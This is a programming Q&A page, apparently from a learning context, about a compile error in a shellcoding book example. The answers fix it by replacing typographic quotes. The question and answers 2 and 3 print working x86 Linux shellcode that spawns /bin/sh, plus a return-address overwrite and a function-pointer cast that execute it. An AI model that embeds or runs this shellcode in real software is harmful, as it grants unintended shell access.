在C错误中编译ShellCode程序

Question

I am currently reading through a book about shellcoding and I am running into some issues during one of the examples. I am trying to compile the code below but I keep getting an error about stray "\\". Is there a certain way I have to input the characters because of the "\\"?

// shellcode.c

char shellcode[] =
“\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46”
“\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1”
“\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68”;

int main(){

    int *ret;
    ret = (int *)&ret + 2;
    (*ret) = (int)shellcode;
}

Answer 1

\\x indicates a hexadecimal character escape. From C99 6.4.4.4.:

The hexadecimal digits that follow the backslash and the letter x in a hexadecimal escape sequence are taken to be part of the construction of a single character for an integer character constant or of a single wide character for a wide character constant.

EXAMPLE 3 Even if eight bits are used for objects that have type char, the construction '\\x123' specifies an integer character constant containing only one character, since a hexadecimal escape sequence is terminated only by a non-hexadecimal character. To specify an integer character constant containing the two characters whose values are '\\x12' and '3', the construction '\\0223' may be used, since an octal escape sequence is terminated after three octal digits. (The value of this two-character integer character constant is implementation-defined.)

Answer 2

I think the problem is caused by the typographic quotes: “ ” .

In C, strings must be enclosed by regular double quotes: "

The \\x notation for hex characters only works inside strings (double quotes) and character constants (single qoutes). Becuse of the typographic qoutes the compiler doesn't recognize the code as a string.

So try changing the declaration like this:

char shellcode[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

Answer 3

As indicated before, your quotes are an issue here. Pasting them on vi produces ?~@~\\\\xeb.. which may explain the complain about the backslash.

Also, I would consider this cast for shellcode, which is more straightforward.

char shellcode[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

int main(){
        (*(void(*)()) shellcode)();
    return 0;
}